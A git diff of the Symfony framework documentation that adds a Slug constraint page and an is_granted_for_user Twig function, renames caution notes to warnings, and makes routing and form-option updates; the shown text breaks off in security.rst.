diff --git a/reference/constraints/MacAddress.rst b/reference/constraints/MacAddress.rst
index 59adffe7c11..9a282ddf118 100644
--- a/reference/constraints/MacAddress.rst
+++ b/reference/constraints/MacAddress.rst
@@ -132,6 +132,7 @@ Parameter                         Allowed MAC addresses
 ``multicast_no_broadcast``        Only multicast except broadcast
 ``unicast_all``                   Only unicast
 ``universal_all``                 Only universal
+``universal_unicast``             Only universal and unicast
 ``universal_multicast``           Only universal and multicast
 ================================  =========================================
 
diff --git a/reference/constraints/NotEqualTo.rst b/reference/constraints/NotEqualTo.rst
index 37b03c35907..b8ee4cac32f 100644
--- a/reference/constraints/NotEqualTo.rst
+++ b/reference/constraints/NotEqualTo.rst
@@ -5,7 +5,7 @@ Validates that a value is **not** equal to another value, defined in the
 options. To force that a value is equal, see
 :doc:`/reference/constraints/EqualTo`.
 
-.. caution::
+.. warning::
 
     This constraint compares using ``!=``, so ``3`` and ``"3"`` are considered
     equal. Use :doc:`/reference/constraints/NotIdenticalTo` to compare with
diff --git a/reference/constraints/NotIdenticalTo.rst b/reference/constraints/NotIdenticalTo.rst
index ba28fdb7c45..9ea93dc4b86 100644
--- a/reference/constraints/NotIdenticalTo.rst
+++ b/reference/constraints/NotIdenticalTo.rst
@@ -5,7 +5,7 @@ Validates that a value is **not** identical to another value, defined in
 the options. To force that a value is identical, see
 :doc:`/reference/constraints/IdenticalTo`.
 
-.. caution::
+.. warning::
 
     This constraint compares using ``!==``, so ``3`` and ``"3"`` are
     considered not equal. Use :doc:`/reference/constraints/NotEqualTo` to
diff --git a/reference/constraints/PasswordStrength.rst b/reference/constraints/PasswordStrength.rst
index 671b5f495ef..60125a763a1 100644
--- a/reference/constraints/PasswordStrength.rst
+++ b/reference/constraints/PasswordStrength.rst
@@ -178,7 +178,7 @@ service to use your own estimator:
                 class: App\Validator\CustomPasswordStrengthEstimator
 
             Symfony\Component\Validator\Constraints\PasswordStrengthValidator:
-                arguments: [!service_closure '@custom_password_strength_estimator']
+                arguments: [!closure '@custom_password_strength_estimator']
 
     .. code-block:: xml
 
@@ -192,7 +192,7 @@ service to use your own estimator:
                 <service id="custom_password_strength_estimator" class="App\Validator\CustomPasswordStrengthEstimator"/>
 
                 <service id="Symfony\Component\Validator\Constraints\PasswordStrengthValidator">
-                    <argument type="service_closure" id="custom_password_strength_estimator"/>
+                    <argument type="closure" id="custom_password_strength_estimator"/>
                 </service>
             </services>
         </container>
@@ -210,5 +210,5 @@ service to use your own estimator:
             $services->set('custom_password_strength_estimator', CustomPasswordStrengthEstimator::class);
 
             $services->set(PasswordStrengthValidator::class)
-                ->args([service_closure('custom_password_strength_estimator')]);
+                ->args([closure('custom_password_strength_estimator')]);
         };
diff --git a/reference/constraints/Slug.rst b/reference/constraints/Slug.rst
new file mode 100644
index 00000000000..2eb82cd9c10
--- /dev/null
+++ b/reference/constraints/Slug.rst
@@ -0,0 +1,119 @@
+Slug
+====
+
+.. versionadded:: 7.3
+
+    The ``Slug`` constraint was introduced in Symfony 7.3.
+
+Validates that a value is a slug. By default, a slug is a string that matches
+the following regular expression: ``/^[a-z0-9]+(?:-[a-z0-9]+)*$/``.
+
+.. include:: /reference/constraints/_empty-values-are-valid.rst.inc
+
+==========  ===================================================================
+Applies to  :ref:`property or method <validation-property-target>`
+Class       :class:`Symfony\\Component\\Validator\\Constraints\\Slug`
+Validator   :class:`Symfony\\Component\\Validator\\Constraints\\SlugValidator`
+==========  ===================================================================
+
+Basic Usage
+-----------
+
+The ``Slug`` constraint can be applied to a property or a getter method:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Slug]
+            protected string $slug;
+        }
+
+    .. code-block:: yaml
+
+        # config/validator/validation.yaml
+        App\Entity\Author:
+            properties:
+                slug:
+                    - Slug: ~
+
+    .. code-block:: xml
+
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+
+            <class name="App\Entity\Author">
+                <property name="slug">
+                    <constraint name="Slug"/>
+                </property>
+            </class>
+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class Author
+        {
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
+            {
+                $metadata->addPropertyConstraint('slug', new Assert\Slug());
+            }
+        }
+
+Examples of valid values:
+
+* foobar
+* foo-bar
+* foo123
+* foo-123bar
+
+Uppercase characters would result in an violation of this constraint.
+
+Options
+-------
+
+``regex``
+~~~~~~~~~
+
+**type**: ``string`` default: ``/^[a-z0-9]+(?:-[a-z0-9]+)*$/``
+
+This option allows you to modify the regular expression pattern that the input
+will be matched against via the :phpfunction:`preg_match` PHP function.
+
+If you need to use it, you might also want to take a look at the :doc:`Regex constraint <Regex>`.
+
+``message``
+~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``This value is not a valid slug``
+
+This is the message that will be shown if this validator fails.
+
+You can use the following parameters in this message:
+
+=================  ==============================================================
+Parameter          Description
+=================  ==============================================================
+``{{ value }}``    The current (invalid) value
+=================  ==============================================================
+
+.. include:: /reference/constraints/_groups-option.rst.inc
+
+.. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/UniqueEntity.rst b/reference/constraints/UniqueEntity.rst
index 87bdade534a..d4fbfeb8666 100644
--- a/reference/constraints/UniqueEntity.rst
+++ b/reference/constraints/UniqueEntity.rst
@@ -126,14 +126,14 @@ between all of the rows in your user table:
             }
         }
 
-.. caution::
+.. warning::
 
     This constraint doesn't provide any protection against `race conditions`_.
     They may occur when another entity is persisted by an external process after
     this validation has passed and before this entity is actually persisted in
     the database.
 
-.. caution::
+.. warning::
 
     This constraint cannot deal with duplicates found in a collection of items
     that haven't been persisted as entities yet. You'll need to create your own
@@ -355,7 +355,7 @@ this option to specify one or more fields to only ignore ``null`` values on them
             }
         }
 
-.. caution::
+.. warning::
 
     If you ``ignoreNull`` on fields that are part of a unique index in your
     database, you might see insertion errors when your application attempts to
diff --git a/reference/constraints/_payload-option.rst.inc b/reference/constraints/_payload-option.rst.inc
index a76c9a4a29d..5121ba1ae51 100644
--- a/reference/constraints/_payload-option.rst.inc
+++ b/reference/constraints/_payload-option.rst.inc
@@ -1,5 +1,3 @@
-.. _reference-constraints-payload:
-
 ``payload``
 ~~~~~~~~~~~
 
diff --git a/reference/constraints/map.rst.inc b/reference/constraints/map.rst.inc
index f23f5b71aa3..58801a8c653 100644
--- a/reference/constraints/map.rst.inc
+++ b/reference/constraints/map.rst.inc
@@ -33,6 +33,7 @@ String Constraints
 * :doc:`NotCompromisedPassword </reference/constraints/NotCompromisedPassword>`
 * :doc:`PasswordStrength </reference/constraints/PasswordStrength>`
 * :doc:`Regex </reference/constraints/Regex>`
+* :doc:`Slug </reference/constraints/Slug>`
 * :doc:`Ulid </reference/constraints/Ulid>`
 * :doc:`Url </reference/constraints/Url>`
 * :doc:`UserPassword </reference/constraints/UserPassword>`
diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index 7caaf5447e0..866aac5774f 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -335,7 +335,7 @@ controller.argument_value_resolver
 Value resolvers implement the
 :class:`Symfony\\Component\\HttpKernel\\Controller\\ValueResolverInterface`
 and are used to resolve argument values for controllers as described here:
-:doc:`/controller/argument_value_resolver`.
+:doc:`/controller/value_resolver`.
 
 data_collector
 --------------
@@ -560,7 +560,7 @@ can also register it manually:
     that defaults to ``0``. The higher the number, the earlier that warmers are
     executed.
 
-.. caution::
+.. warning::
 
     If your cache warmer fails its execution because of any exception, Symfony
     won't try to execute it again for the next requests. Therefore, your
diff --git a/reference/formats/expression_language.rst b/reference/formats/expression_language.rst
index 368c95bc2a8..dfed9c74398 100644
--- a/reference/formats/expression_language.rst
+++ b/reference/formats/expression_language.rst
@@ -26,7 +26,7 @@ The component supports:
 
     The support for comments inside expressions was introduced in Symfony 7.2.
 
-.. caution::
+.. warning::
 
     A backslash (``\``) must be escaped by 3 backslashes (``\\\\``) in a string
     and 7 backslashes (``\\\\\\\\``) in a regex::
diff --git a/reference/formats/message_format.rst b/reference/formats/message_format.rst
index 2a694ed45d2..fb0143228c1 100644
--- a/reference/formats/message_format.rst
+++ b/reference/formats/message_format.rst
@@ -64,7 +64,7 @@ The basic usage of the MessageFormat allows you to use placeholders (called
             'say_hello' => "Hello {name}!",
         ];
 
-.. caution::
+.. warning::
 
     In the previous translation format, placeholders were often wrapped in ``%``
     (e.g. ``%name%``). This ``%`` character is no longer valid with the ICU
diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
index 2d31aac890c..9f61fb768bd 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -93,7 +93,7 @@ method::
 You can also customize the `choice_name`_ of each choice. You can learn more
 about all of these options in the sections below.
 
-.. caution::
+.. warning::
 
     The *placeholder* is a specific field, when the choices are optional the
     first item in the list must be empty, so the user can unselect.
diff --git a/reference/forms/types/collection.rst b/reference/forms/types/collection.rst
index c5fee42f06c..2875ba076d0 100644
--- a/reference/forms/types/collection.rst
+++ b/reference/forms/types/collection.rst
@@ -99,7 +99,7 @@ can be used - with JavaScript - to create new form items dynamically on
 the client side. For more information, see the above example and
 :ref:`form-collections-new-prototype`.
 
-.. caution::
+.. warning::
 
     If you're embedding entire other forms to reflect a one-to-many database
     relationship, you may need to manually ensure that the foreign key of
@@ -119,7 +119,7 @@ submitted data will mean that it's removed from the final array.
 
 For more information, see :ref:`form-collections-remove`.
 
-.. caution::
+.. warning::
 
     Be careful when using this option when you're embedding a collection
     of objects. In this case, if any embedded forms are removed, they *will*
@@ -139,7 +139,7 @@ form you have to set this option to ``true``. However, existing collection entri
 will only be deleted if you have the allow_delete_ option enabled. Otherwise
 the empty values will be kept.
 
-.. caution::
+.. warning::
 
     The ``delete_empty`` option only removes items when the normalized value is
     ``null``. If the nested `entry_type`_ is a compound form type, you must
diff --git a/reference/forms/types/country.rst b/reference/forms/types/country.rst
index d841461b2f5..6c98897b6ba 100644
--- a/reference/forms/types/country.rst
+++ b/reference/forms/types/country.rst
@@ -52,7 +52,7 @@ Overridden Options
 The country type defaults the ``choices`` option to the whole list of countries.
 The locale is used to translate the countries names.
 
-.. caution::
+.. warning::
 
     If you want to override the built-in choices of the country type, you
     will also have to set the ``choice_loader`` option to ``null``.
diff --git a/reference/forms/types/currency.rst b/reference/forms/types/currency.rst
index b69225eb78c..94c0d2cddc8 100644
--- a/reference/forms/types/currency.rst
+++ b/reference/forms/types/currency.rst
@@ -35,7 +35,7 @@ Overridden Options
 
 The choices option defaults to all currencies.
 
-.. caution::
+.. warning::
 
     If you want to override the built-in choices of the currency type, you
     will also have to set the ``choice_loader`` option to ``null``.
diff --git a/reference/forms/types/date.rst b/reference/forms/types/date.rst
index e88e91d80dd..210fff5dd0d 100644
--- a/reference/forms/types/date.rst
+++ b/reference/forms/types/date.rst
@@ -101,7 +101,7 @@ This can be tricky: if the date picker is misconfigured, Symfony won't understan
 the format and will throw a validation error. You can also configure the format
 that Symfony should expect via the `format`_ option.
 
-.. caution::
+.. warning::
 
     The string used by a JavaScript date picker to describe its format (e.g. ``yyyy-mm-dd``)
     may not match the string that Symfony uses (e.g. ``yyyy-MM-dd``). This is because
@@ -156,11 +156,12 @@ values for the year, month and day fields::
 ``calendar``
 ~~~~~~~~~~~~
 
-**type**: ``\IntlCalendar`` **default**: ``null``
+**type**: ``integer`` or ``\IntlCalendar`` **default**: ``null``
 
 The calendar to use for formatting and parsing the date. The value should be
-an instance of the :phpclass:`IntlCalendar` to use. By default, the Gregorian
-calendar with the application default locale is used.
+an ``integer`` from :phpclass:`IntlDateFormatter` calendar constants or an instance
+of the :phpclass:`IntlCalendar` to use. By default, the Gregorian calendar
+with the application default locale is used.
 
 .. versionadded:: 7.2
 
diff --git a/reference/forms/types/dateinterval.rst b/reference/forms/types/dateinterval.rst
index 38fccb47cd1..838ae2bbdef 100644
--- a/reference/forms/types/dateinterval.rst
+++ b/reference/forms/types/dateinterval.rst
@@ -221,7 +221,7 @@ following:
 Whether or not to include days in the input. This will result in an additional
 input to capture days.
 
-.. caution::
+.. warning::
 
     This can not be used when `with_weeks`_ is enabled.
 
@@ -274,7 +274,7 @@ input to capture seconds.
 Whether or not to include weeks in the input. This will result in an additional
 input to capture weeks.
 
-.. caution::
+.. warning::
 
     This can not be used when `with_days`_ is enabled.
 
diff --git a/reference/forms/types/entity.rst b/reference/forms/types/entity.rst
index f30d5f9a5b2..0d900de377f 100644
--- a/reference/forms/types/entity.rst
+++ b/reference/forms/types/entity.rst
@@ -183,7 +183,7 @@ passed the ``EntityRepository`` of the entity as the only argument and should
 return a ``QueryBuilder``. Returning ``null`` in the Closure will result in
 loading all entities.
 
-.. caution::
+.. warning::
 
     The entity used in the ``FROM`` clause of the ``query_builder`` option
     will always be validated against the class which you have specified at the
diff --git a/reference/forms/types/language.rst b/reference/forms/types/language.rst
index e3dddfb8ae6..a1e699a0686 100644
--- a/reference/forms/types/language.rst
+++ b/reference/forms/types/language.rst
@@ -69,7 +69,7 @@ Overridden Options
 The choices option defaults to all languages.
 The default locale is used to translate the languages names.
 
-.. caution::
+.. warning::
 
     If you want to override the built-in choices of the language type, you
     will also have to set the ``choice_loader`` option to ``null``.
diff --git a/reference/forms/types/locale.rst b/reference/forms/types/locale.rst
index 68155a248fd..c006beb14fd 100644
--- a/reference/forms/types/locale.rst
+++ b/reference/forms/types/locale.rst
@@ -46,7 +46,7 @@ Overridden Options
 The choices option defaults to all locales. It uses the default locale to
 specify the language.
 
-.. caution::
+.. warning::
 
     If you want to override the built-in choices of the locale type, you
     will also have to set the ``choice_loader`` option to ``null``.
diff --git a/reference/forms/types/money.rst b/reference/forms/types/money.rst
index f9f8cefdd58..a02b695abd4 100644
--- a/reference/forms/types/money.rst
+++ b/reference/forms/types/money.rst
@@ -70,9 +70,10 @@ html5
 If set to ``true``, the HTML input will be rendered as a native HTML5
 ``<input type="number">`` element.
 
-.. caution::
+.. warning::
 
-    As HTML5 number format is normalized, it is incompatible with ``grouping`` option.
+    As HTML5 number format is normalized, it is incompatible with the ``grouping``
+    option.
 
 input
 ~~~~~
diff --git a/reference/forms/types/options/_date_limitation.rst.inc b/reference/forms/types/options/_date_limitation.rst.inc
index 4e5b1be4c87..04106ee7e21 100644
--- a/reference/forms/types/options/_date_limitation.rst.inc
+++ b/reference/forms/types/options/_date_limitation.rst.inc
@@ -1,4 +1,4 @@
-.. caution::
+.. warning::
 
     If ``timestamp`` is used, ``DateType`` is limited to dates between
     Fri, 13 Dec 1901 20:45:54 UTC and Tue, 19 Jan 2038 03:14:07 UTC on 32bit
diff --git a/reference/forms/types/options/choice_lazy.rst.inc b/reference/forms/types/options/choice_lazy.rst.inc
index bdcbf178406..08fbe953e41 100644
--- a/reference/forms/types/options/choice_lazy.rst.inc
+++ b/reference/forms/types/options/choice_lazy.rst.inc
@@ -24,7 +24,7 @@ will only load and render the choices that are preset as default values or
 submitted. This defers the loading of the full list of choices, helping to
 improve your form's performance.
 
-.. caution::
+.. warning::
 
     Keep in mind that when using ``choice_lazy``, you are responsible for
     providing the user interface for selecting choices, typically through a
diff --git a/reference/forms/types/options/choice_name.rst.inc b/reference/forms/types/options/choice_name.rst.inc
index 4ec8abb6ffe..4268c307d17 100644
--- a/reference/forms/types/options/choice_name.rst.inc
+++ b/reference/forms/types/options/choice_name.rst.inc
@@ -25,7 +25,7 @@ By default, the choice key or an incrementing integer may be used (starting at `
 
     See the :ref:`"choice_loader" option documentation <reference-form-choice-loader>`.
 
-.. caution::
+.. warning::
 
     The configured value must be a valid form name. Make sure to only return
     valid names when using a callable. Valid form names must be composed of
diff --git a/reference/forms/types/options/data.rst.inc b/reference/forms/types/options/data.rst.inc
index c3562d0a8b1..34f86e7c4c6 100644
--- a/reference/forms/types/options/data.rst.inc
+++ b/reference/forms/types/options/data.rst.inc
@@ -16,7 +16,7 @@ an individual field, you can set it in the data option::
         'data' => 'abcdef',
     ]);
 
-.. caution::
+.. warning::
 
     The ``data`` option *always* overrides the value taken from the domain data
     (object) when rendering. This means the object value is also overridden when
diff --git a/reference/forms/types/options/empty_data_description.rst.inc b/reference/forms/types/options/empty_data_description.rst.inc
index e654a7037df..b143b9438fe 100644
--- a/reference/forms/types/options/empty_data_description.rst.inc
+++ b/reference/forms/types/options/empty_data_description.rst.inc
@@ -22,7 +22,7 @@ initial value in the rendered form.
     :doc:`/form/use_empty_data` article for more details about these
     options.
 
-.. caution::
+.. warning::
 
     :doc:`Form data transformers </form/data_transformers>` will still be
     applied to the ``empty_data`` value. This means that an empty string will
diff --git a/reference/forms/types/options/inherit_data.rst.inc b/reference/forms/types/options/inherit_data.rst.inc
index 1b63cc4b56f..f35f6d56b00 100644
--- a/reference/forms/types/options/inherit_data.rst.inc
+++ b/reference/forms/types/options/inherit_data.rst.inc
@@ -7,7 +7,7 @@ This option determines if the form will inherit data from its parent form.
 This can be useful if you have a set of fields that are duplicated across
 multiple forms. See :doc:`/form/inherit_data_option`.
 
-.. caution::
+.. warning::
 
     When a field has the ``inherit_data`` option set, it uses the data of
     the parent form as is. This means that
diff --git a/reference/forms/types/options/value.rst.inc b/reference/forms/types/options/value.rst.inc
index ddbfff6660d..e4669faa7e4 100644
--- a/reference/forms/types/options/value.rst.inc
+++ b/reference/forms/types/options/value.rst.inc
@@ -6,7 +6,7 @@
 The value that's actually used as the value for the checkbox or radio button.
 This does not affect the value that's set on your object.
 
-.. caution::
+.. warning::
 
     To make a checkbox or radio button checked by default, use the `data`_
     option.
diff --git a/reference/forms/types/password.rst b/reference/forms/types/password.rst
index 83342194a4e..59e40fb19d1 100644
--- a/reference/forms/types/password.rst
+++ b/reference/forms/types/password.rst
@@ -43,7 +43,7 @@ Data passed to the form must be a
 :class:`Symfony\\Component\\Security\\Core\\User\\PasswordAuthenticatedUserInterface`
 object.
 
-.. caution::
+.. warning::
 
     To minimize the risk of leaking the plain password, this option can
     only be used with the :ref:`"mapped" option <reference-form-password-mapped>`
diff --git a/reference/forms/types/textarea.rst b/reference/forms/types/textarea.rst
index cf56d3067de..47a32368b99 100644
--- a/reference/forms/types/textarea.rst
+++ b/reference/forms/types/textarea.rst
@@ -19,7 +19,7 @@ Renders a ``textarea`` HTML element.
     ``<textarea>``, consider using the FOSCKEditorBundle community bundle. Read
     `its documentation`_ to learn how to integrate it in your Symfony application.
 
-.. caution::
+.. warning::
 
     When allowing users to type HTML code in the textarea (or using a
     WYSIWYG) editor, the application is vulnerable to :ref:`XSS injection <xss-attacks>`,
diff --git a/reference/forms/types/time.rst b/reference/forms/types/time.rst
index 43cf0644e0e..a3378f948cd 100644
--- a/reference/forms/types/time.rst
+++ b/reference/forms/types/time.rst
@@ -80,6 +80,10 @@ values for the hour, minute and second fields::
         ],
     ]);
 
+.. seealso::
+
+    See the `with_seconds`_ option on how to enable seconds in the form type.
+
 .. include:: /reference/forms/types/options/hours.rst.inc
 
 .. include:: /reference/forms/types/options/html5.rst.inc
@@ -113,7 +117,7 @@ of the time. This must be a valid `PHP time format`_.
 
 .. include:: /reference/forms/types/options/model_timezone.rst.inc
 
-.. caution::
+.. warning::
 
     When using different values for ``model_timezone`` and `view_timezone`_,
     a `reference_date`_ must be configured.
@@ -134,7 +138,7 @@ based on this date.
 When no `reference_date`_ is set the ``view_timezone`` defaults to the
 configured `model_timezone`_.
 
-.. caution::
+.. warning::
 
     When using different values for `model_timezone`_ and ``view_timezone``,
     a `reference_date`_ must be configured.
@@ -157,7 +161,7 @@ following:
   will be validated against the form ``hh:mm`` (or ``hh:mm:ss`` if using
   seconds).
 
-.. caution::
+.. warning::
 
     Combining the widget type ``single_text`` and the `with_minutes`_ option
     set to ``false`` can cause unexpected behavior in the client as the
diff --git a/reference/forms/types/timezone.rst b/reference/forms/types/timezone.rst
index 7dae0f351b4..d2af713f1c8 100644
--- a/reference/forms/types/timezone.rst
+++ b/reference/forms/types/timezone.rst
@@ -67,7 +67,7 @@ Overridden Options
 The Timezone type defaults the choices to all timezones returned by
 :phpmethod:`DateTimeZone::listIdentifiers`, broken down by continent.
 
-.. caution::
+.. warning::
 
     If you want to override the built-in choices of the timezone type, you
     will also have to set the ``choice_loader`` option to ``null``.
diff --git a/reference/forms/types/url.rst b/reference/forms/types/url.rst
index d4cb312d2bb..9c6dde6072e 100644
--- a/reference/forms/types/url.rst
+++ b/reference/forms/types/url.rst
@@ -25,6 +25,13 @@ Field Options
 
 **type**: ``string`` **default**: ``http``
 
+Set this value to ``null`` to render the field using a ``<input type="url"/>``,
+allowing the browser to perform local validation before submission.
+
+When this value is neither ``null`` nor an empty string, the form field is
+rendered using a ``<input type="text"/>``. This ensures users can submit the
+form field without specifying the protocol.
+
 If a value is submitted that doesn't begin with some protocol (e.g. ``http://``,
 ``ftp://``, etc), this protocol will be prepended to the string when
 the data is submitted to the form.
diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index 0939e2bdf98..acbab2f3817 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -130,8 +130,10 @@ asset_version
 
 .. code-block:: twig
 
-    {{ asset_version(packageName = null) }}
+    {{ asset_version(path, packageName = null) }}
 
+``path``
+    **type**: ``string``
 ``packageName`` *(optional)*
     **type**: ``string`` | ``null`` **default**: ``null``
 
@@ -158,20 +160,41 @@ is_granted
 
 .. code-block:: twig
 
-    {{ is_granted(role, object = null, field = null) }}
+    {{ is_granted(role, object = null) }}
 
 ``role``
     **type**: ``string``
 ``object`` *(optional)*
     **type**: ``object``
-``field`` *(optional)*
-    **type**: ``string``
 
 Returns ``true`` if the current user has the given role.
 
 Optionally, an object can be passed to be used by the voter. More information
 can be found in :ref:`security-template`.
 
+is_granted_for_user
+~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 7.3
+
+    The ``is_granted_for_user()`` function was introduced in Symfony 7.3.
+
+.. code-block:: twig
+
+    {{ is_granted_for_user(user, attribute, subject = null) }}
+
+``user``
+    **type**: ``object``
+``attribute``
+    **type**: ``string``
+``subject`` *(optional)*
+    **type**: ``object``
+
+Returns ``true`` if the user is authorized for the specified attribute.
+
+Optionally, an object can be passed to be used by the voter. More information
+can be found in :ref:`security-template`.
+
 logout_path
 ~~~~~~~~~~~
 
@@ -701,6 +724,8 @@ project's root directory:
 If the given file path is out of the project directory, a ``null`` value
 will be returned.
 
+.. _reference-twig-filter-serialize:
+
 serialize
 ~~~~~~~~~
 
diff --git a/routing.rst b/routing.rst
index 18f96270e1c..4ab0dce2a82 100644
--- a/routing.rst
+++ b/routing.rst
@@ -81,7 +81,7 @@ the ``list()`` method of the ``BlogController`` class.
     example, URLs like ``/blog?foo=bar`` and ``/blog?foo=bar&bar=foo`` will
     also match the ``blog_list`` route.
 
-.. caution::
+.. warning::
 
     If you define multiple PHP classes in the same file, Symfony only loads the
     routes of the first class, ignoring all the other routes.
@@ -298,7 +298,7 @@ arbitrary matching logic:
         # config/routes.yaml
         contact:
             path:       /contact
-            controller: 'App\Controller\DefaultController::contact'
+            controller: App\Controller\DefaultController::contact
             condition:  "context.getMethod() in ['GET', 'HEAD'] and request.headers.get('User-Agent') matches '/firefox/i'"
             # expressions can also include configuration parameters:
             # condition: "request.headers.get('User-Agent') matches '%app.allowed_browsers%'"
@@ -307,7 +307,7 @@ arbitrary matching logic:
 
         post_show:
             path:       /posts/{id}
-            controller: 'App\Controller\DefaultController::showPost'
+            controller: App\Controller\DefaultController::showPost
             # expressions can retrieve route parameter values using the "params" variable
             condition:  "params['id'] < 1000"
 
@@ -406,7 +406,7 @@ Behind the scenes, expressions are compiled down to raw PHP. Because of this,
 using the ``condition`` key causes no extra overhead beyond the time it takes
 for the underlying PHP to execute.
 
-.. caution::
+.. warning::
 
     Conditions are *not* taken into account when generating URLs (which is
     explained later in this article).
@@ -649,6 +649,51 @@ URL                       Route          Parameters
     contains a collection of commonly used regular-expression constants such as
     digits, dates and UUIDs which can be used as route parameter requirements.
 
+    .. configuration-block::
+
+        .. code-block:: php-attributes
+
+            // src/Controller/BlogController.php
+            namespace App\Controller;
+
+            use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+            use Symfony\Component\HttpFoundation\Response;
+            use Symfony\Component\Routing\Attribute\Route;
+            use Symfony\Component\Routing\Requirement\Requirement;
+
+            class BlogController extends AbstractController
+            {
+                #[Route('/blog/{page}', name: 'blog_list', requirements: ['page' => Requirement::DIGITS])]
+                public function list(int $page): Response
+                {
+                    // ...
+                }
+            }
+
+        .. code-block:: yaml
+
+            # config/routes.yaml
+            blog_list:
+                path:       /blog/{page}
+                controller: App\Controller\BlogController::list
+                requirements:
+                    page: !php/const Symfony\Component\Routing\Requirement\Requirement::DIGITS
+
+        .. code-block:: php
+
+            // config/routes.php
+            use App\Controller\BlogController;
+            use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
+            use Symfony\Component\Routing\Requirement\Requirement;
+
+            return static function (RoutingConfigurator $routes): void {
+                $routes->add('blog_list', '/blog/{page}')
+                    ->controller([BlogController::class, 'list'])
+                    ->requirements(['page' => Requirement::DIGITS])
+                ;
+                // ...
+            };
+
 .. tip::
 
     Route requirements (and route paths too) can include
@@ -808,7 +853,7 @@ other configuration formats they are defined with the ``defaults`` option:
 Now, when the user visits ``/blog``, the ``blog_list`` route will match and
 ``$page`` will default to a value of ``1``.
 
-.. caution::
+.. warning::
 
     You can have more than one optional parameter (e.g. ``/blog/{slug}/{page}``),
     but everything after an optional parameter must be optional. For example,
@@ -1489,6 +1534,12 @@ when importing the routes.
             ;
         };
 
+.. warning::
+
+    The ``exclude`` option only works when the ``resource`` value is a glob string.
+    If you use a regular string (e.g. ``'../src/Controller'``) the ``exclude``
+    value will be ignored.
+
 In this example, the route of the ``index()`` action will be called ``blog_index``
 and its URL will be ``/blog/{_locale}``. The route of the ``show()`` action will be called
 ``blog_show`` and its URL will be ``/blog/{_locale}/posts/{slug}``. Both routes
@@ -2291,7 +2342,7 @@ use the ``generateUrl()`` helper::
         // the 'blog' route only defines the 'page' parameter; the generated URL is:
         // /blog/2?category=Symfony
 
-.. caution::
+.. warning::
 
     While objects are converted to string when used as placeholders, they are not
     converted when used as extra parameters. So, if you're passing an object (e.g. an Uuid)
@@ -2321,7 +2372,7 @@ the :class:`Symfony\\Component\\Routing\\Generator\\UrlGeneratorInterface` class
     class SomeService
     {
         public function __construct(
-            private UrlGeneratorInterface $router,
+            private UrlGeneratorInterface $urlGenerator,
         ) {
         }
 
@@ -2330,20 +2381,20 @@ the :class:`Symfony\\Component\\Routing\\Generator\\UrlGeneratorInterface` class
             // ...
 
             // generate a URL with no route arguments
-            $signUpPage = $this->router->generate('sign_up');
+            $signUpPage = $this->urlGenerator->generate('sign_up');
 
             // generate a URL with route arguments
-            $userProfilePage = $this->router->generate('user_profile', [
+            $userProfilePage = $this->urlGenerator->generate('user_profile', [
                 'username' => $user->getUserIdentifier(),
             ]);
 
             // generated URLs are "absolute paths" by default. Pass a third optional
             // argument to generate different URLs (e.g. an "absolute URL")
-            $signUpPage = $this->router->generate('sign_up', [], UrlGeneratorInterface::ABSOLUTE_URL);
+            $signUpPage = $this->urlGenerator->generate('sign_up', [], UrlGeneratorInterface::ABSOLUTE_URL);
 
             // when a route is localized, Symfony uses by default the current request locale
             // pass a different '_locale' value if you want to set the locale explicitly
-            $signUpPageInDutch = $this->router->generate('sign_up', ['_locale' => 'nl']);
+            $signUpPageInDutch = $this->urlGenerator->generate('sign_up', ['_locale' => 'nl']);
         }
     }
 
@@ -2751,6 +2802,11 @@ argument of :method:`Symfony\\Component\\HttpFoundation\\UriSigner::sign`::
 
     The feature to add an expiration date for a signed URI was introduced in Symfony 7.1.
 
+.. versionadded:: 7.3
+
+    Starting with Symfony 7.3, signed URI hashes no longer include the ``/`` or
+    ``+`` characters, as these may cause issues with certain clients.
+
 Troubleshooting
 ---------------
 
diff --git a/scheduler.rst b/scheduler.rst
index c816e6e08c0..c0db986d8c0 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -785,6 +785,13 @@ the Messenger component:
 .. image:: /_images/components/scheduler/generate_consume.png
     :alt: Symfony Scheduler - generate and consume
 
+.. tip::
+
+    Depending on your deployment scenario, you may prefer automating the execution of
+    the Messenger worker process using tools like cron, Supervisor, or systemd.
+    This ensures workers are running continuously. For more details, refer to the
+    `Deploying to Production`_ section of the Messenger component documentation.
+
 Creating a Consumer Programmatically
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -970,6 +977,7 @@ When using the ``RedispatchMessage``, Symfony will attach a
 helping you identify those messages when needed.
 
 .. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
+.. _`Deploying to Production`: https://symfony.com/doc/current/messenger.html#deploying-to-production
 .. _`Memoizing`: https://en.wikipedia.org/wiki/Memoization
 .. _`cron command-line utility`: https://en.wikipedia.org/wiki/Cron
 .. _`crontab.guru website`: https://crontab.guru/
diff --git a/security.rst b/security.rst
index 232188fe257..ca910765be0 100644
--- a/security.rst
+++ b/security.rst
@@ -712,7 +712,7 @@ many other authenticators:
 
     If your application logs users in via a third-party service such as
